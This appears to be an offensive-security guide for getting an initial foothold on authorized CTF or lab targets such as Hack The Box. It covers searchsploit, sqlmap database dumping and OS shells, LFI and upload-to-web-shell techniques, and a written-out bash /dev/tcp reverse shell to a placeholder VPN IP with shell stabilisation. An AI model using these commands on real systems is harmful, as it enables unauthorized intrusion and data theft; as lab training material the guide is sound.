fknmega/aether/exploitation-foothold

Getting a foothold

Authorized lab/CTF/owned target only. nmap, ncat, nc are installed; searchsploit (exploitdb), sqlmap, msfconsole may need installing.

Match a known service to a known exploit

searchsploit "product version"      # local exploit-db mirror
searchsploit -m 12345               # copy an exploit into the workspace to read/edit

Read the exploit before you run it — understand what it does and adjust the target/port/payload. Prefer a specific public exploit over Metasploit when one exists; reach for msfconsole (search, use, set RHOSTS/LHOST, run) when it is the cleaner path.

Web to RCE

• SQLi: sqlmap -u 'http://TARGET/page?id=1' --batch --dbs, then

--tables -D db, --dump. --os-shell if the DBMS allows it.

• LFI → RCE: log poisoning, PHP wrappers, or /proc/self/environ.
• Upload → web shell: drop a shell in the stack's language, browse to it,

then trade it up for a reverse shell.

Catch a reverse shell

Start a listener, trigger the payload pointed at your VPN IP (the tun0 address on the HTB VPN — check with ifconfig/ip a), catch it:

ncat -lvnp 4444                     # listener
# payload on target, e.g.:
bash -c 'bash -i >& /dev/tcp/YOUR_VPN_IP/4444 0>&1'

Keep a few payload shapes ready (bash, nc, python, PHP, a PowerShell one-liner for Windows) since the target won't always have your first choice.

Upgrade the shell — do this immediately

A raw reverse shell has no job control, no tab-complete, and dies on Ctrl-C. Stabilise before you work:

python3 -c 'import pty;pty.spawn("/bin/bash")'   # or python
export TERM=xterm
# then Ctrl-Z, and on your host:  stty raw -echo; fg

Then grab user.txt, learn who you are (id, whoami, hostname), and move to privilege-escalation. Record the foothold — the vuln, the exact command, and the shell you got — in the engagement log.